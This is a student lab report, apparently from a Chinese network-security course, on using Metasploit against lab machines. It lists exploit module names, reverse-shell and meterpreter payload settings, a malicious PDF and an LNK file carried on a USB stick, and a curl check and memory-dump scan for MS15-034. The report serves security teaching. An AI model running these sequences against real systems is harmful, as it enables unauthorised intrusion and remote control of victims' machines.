2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用

一、实践内容（3.5分）

本实践目标是掌握metasploit的基本应用方式，重点常用的三种攻击方式的思路。具体需要完成：

1.1一个主动攻击实践，如ms08_067; （1分）

1.2 一个针对浏览器的攻击，如ms11_050；（1分）

1.3 一个针对客户端的攻击，如Adobe；（1分）

1.4 成功应用任何一个辅助模块。（0.5分）

任务一主动攻击实践，ms08_067

靶机：Windows XP

主机: Kali

1、输入msfconsole指令，进入控制台,却遇到以下问题，原因是没有连接数据库:

2、输入service postgresql start启动数据库，再次进入控制台,输入search ms08-067查看ms08_067这个漏洞在哪里：

3、选择漏洞use exploit/windows/smb/ms08_067_netapi；

输入show payloads，查看可以供我们使用的payload：

4、选择通过反向连接来获取shell的generic/shell_reverse_tcp当payload，输入指令set payload generic/shell_reverse_tcp

对payload进行设置；

5、输入show options查看我们需要设置的参数，发现需要设置一个RHOST和一个LHOST：

6、修改target的值为0，选择我们想要攻击的计算机系统：

7、输入exploit进行攻击，攻击成功：

任务二：一个针对浏览器的攻击

1、实现ms11_050的攻击

靶机：Windows XP SP3

主机: Kali

实验步骤:

搜索漏洞search ms11_050;
使用漏洞use exploit/windows/browser/ms11_050_mshtml_cobjectelement;
设置靶机类型set target 3;
选择攻击载荷set payload generic/shell_reverse_tcp;
使用命令set SRVHOST 192.168.1.238设置地址;
配置好地址后显示配置信息show options；

结果攻击成功：

2、实现ms14_064的攻击

靶机：Windows XP SP3 English IE8

主机：Kali

实验步骤：

搜索漏洞，然后使用漏洞，使用show payloads查看适用攻击载荷；
选择攻击载荷set payload generic/shell_reverse_tcp；
查看配置信息show options；
而后通过查看配置信息添加所需选项；
设置监听地址、监听端口和url域名；
输入exploit 开始攻击，并在靶机打开IE浏览器输入生成的网址，kali的8080端口监听获得连接，建立会话；
查看开启的会话；

攻击成功截图：

任务三：一个针对客户端的攻击

一、实现对Adobe的攻击

靶机：Windows XP sp3（English）

1、选择攻击模块，将其载入，选用exploit/windows/fileformat/adobe_toolbutton，如图：

2、输入命令show payloads选择要使用的payload；

3、输入命令show options查看相关参数设置要求：

4、开始实施攻击，发现在/root/.msf4/local/目录下成功生成了一个20165236.pdf文件，将该文件传送到靶机上并且在攻击机上打开监听

5、将靶机中的pdf文件打开，攻击机成功获取到靶机shell：

二、实现对CVE-2017-8464的攻击

靶机是Win7

实验步骤：

1、使用命令：search CVE:2018 type:exploit查看CVE-2017和2018漏洞有哪些：

2、使用指令：

msfconsole
use exploit/windows/fileformat/cve_2017_8464_lnk_rce
set payload windows/meterpreter/reverse_tcp
show options
set LHOST 192.168.19.129
exploit

3、将生成的.lnk文件复制到U盘里面，然后在msf中开始监听；

4、将U盘插入靶机中，如图，攻击成功：

任务四：实现对应用辅助模块的攻击

靶机：windows server 2012 R2

IP:192.168.19.148

实验步骤：

1、使用search use auxiliary/server扫描靶机开发端口：

2、win2012安装iis服务后访问80端口，检测是否存在漏洞：使用curl发送以下数据：

curl http://192.168.19.148 -H "Host: 192.168.19.148" -H "Range: bytes=0-18446744073709551615"，

当出现Requested Range Not Satisfiable时说明存在漏洞；

3、依次输入以下指令进行攻击：

use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
show options
set rhosts 192.168.19.148
set threads 10
exploit

4、如图所示，对靶机windows server 2012攻击成功：

二、实验过程遇到的问题

1、在一个主动攻击实践实验过程中，进入控制台时，遇到如下问题：

原因是没有连接到数据库；

解决方法：使用命令service postgresql start启动数据库，即可进入控制台：

三、基础问题回答

1、用自己的话解释什么是exploit,payload,encode？

答：exploit：英文翻译为利用，黑客就是利用漏洞对电脑进行攻击，有漏洞不一定可以利用，但可以利用的一定有漏洞;

payload：有效载荷。在传输数据时，为了使数据传输更可靠，要把原始数据分批传输，并且在每一批数据的头和尾都加上一定的辅助信息，而其中的原始数据就是payload;
encode：编码器，用来给payload进行编码，保护payload不被发现。

四、实验体会

本次实验目的是掌握metasploit的基本应用方式，重点常用的三种攻击方式。可以说是对之前所学知识的总结，我最大的感悟就是

虽然其中每次攻击不一定都能成功，但msf确实非常的强大，为此一定要及时更新系统，填补漏洞以防被攻击。实验过程中我也遇到了许多问题，

在查阅资料以及老师同学的帮助下一个个解决了，并顺利完成了实验。